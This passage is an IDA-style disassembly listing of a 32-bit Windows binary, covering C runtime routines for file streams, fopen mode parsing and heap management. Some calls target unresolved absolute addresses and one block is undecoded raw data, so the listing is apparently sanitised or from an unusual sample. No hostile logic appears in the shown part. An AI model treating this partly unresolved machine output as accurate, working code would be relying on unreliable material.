loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5


loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_433C70
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------


loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_433C70
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------


loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4CEDE0
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714


loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730


loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 26508BEh
		test	eax, eax
		jnz	short loc_41A730
		nop
		call	near ptr 267036Ah
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------


loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp


loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------


loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------


loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9


loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh


loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4CECC0, esi
		jle	short loc_41A893


loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_4CDCB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------


loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax


loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_4CECC0
		jl	short loc_41A846


loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi


loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_4363A8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------


loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_4363C8
		jnz	short loc_41A92B
		push	1
		pop	eax


loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_4CDB78
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_4CDA0C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4CDA0Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------


loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx


loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4CDB80
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------


loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------


loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h


loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2


loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx


loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97


loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------


loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD


loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4CDB78
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_4CECC0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_4CDCB0
		mov	edi, ebx


loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------


loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------


loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_4CDCB0
		mov	[edi+ecx], eax
		mov	eax, dword_4CDCB0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi


loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4CDA18
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: ___:0041ACD2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2730C00h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 27A16DFh
		test	eax, eax
		jz	short loc_41ABDF
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41ABDF
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------


loc_41ABDF:				; CODE XREF: ___:0041ABC3j
					; ___:0041ABCCj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2850000h
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41AC21


loc_41AC0E:				; CODE XREF: ___:0041AC1Fj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al


loc_41AC1C:				; CODE XREF: ___:0041AC12j
					; ___:0041AC16j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E


loc_41AC21:				; CODE XREF: ___:0041AC0Cj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp-122Ch]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC43:				; CODE XREF: ___:0041AC39j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2680000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41AC77


loc_41AC64:				; CODE XREF: ___:0041AC75j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al


loc_41AC72:				; CODE XREF: ___:0041AC68j
					; ___:0041AC6Cj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64


loc_41AC77:				; CODE XREF: ___:0041AC62j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx


loc_41AC8C:				; CODE XREF: ___:0041AC41j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3


loc_41ACA5:				; CODE XREF: ___:0041ACB1j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------


loc_41ACAE:				; CODE XREF: ___:0041ACA8j
		inc	ecx


loc_41ACAF:				; CODE XREF: ___:0041ACACj
		cmp	[ecx], bl
		jnz	short loc_41ACA5


loc_41ACB3:				; CODE XREF: ___:0041ACA3j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1


loc_41ACCE:				; CODE XREF: ___:0041ABF8j
					; ___:0041AC8Ej ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41AB6F
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41ACE1:				; CODE XREF: ___:0041ABDAj
					; ___:0041ACC2j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 72E89050h, 85024364h
		dd 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh,	4CF028A3h
		dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
		dd 0C0850000h, 35FF0F75h, 4CF024h, 4362DCE8h, 0C0339002h
		dd 58016AC3h, 14068C3h,	6A0000h, 0F02435FFh, 0ADE8004Ch
		dd 90023052h, 1CA3C085h, 75004CF0h, 4C8BC301h, 25830424h
		dd 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h, 4CF0200Dh
		dd 805C700h, 10004CF0h,	58000000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4CF018
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4CF01C
		lea	ecx, [eax+ecx*4]


loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------


loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx


loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------


loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------


loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]


loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx


loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi


loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
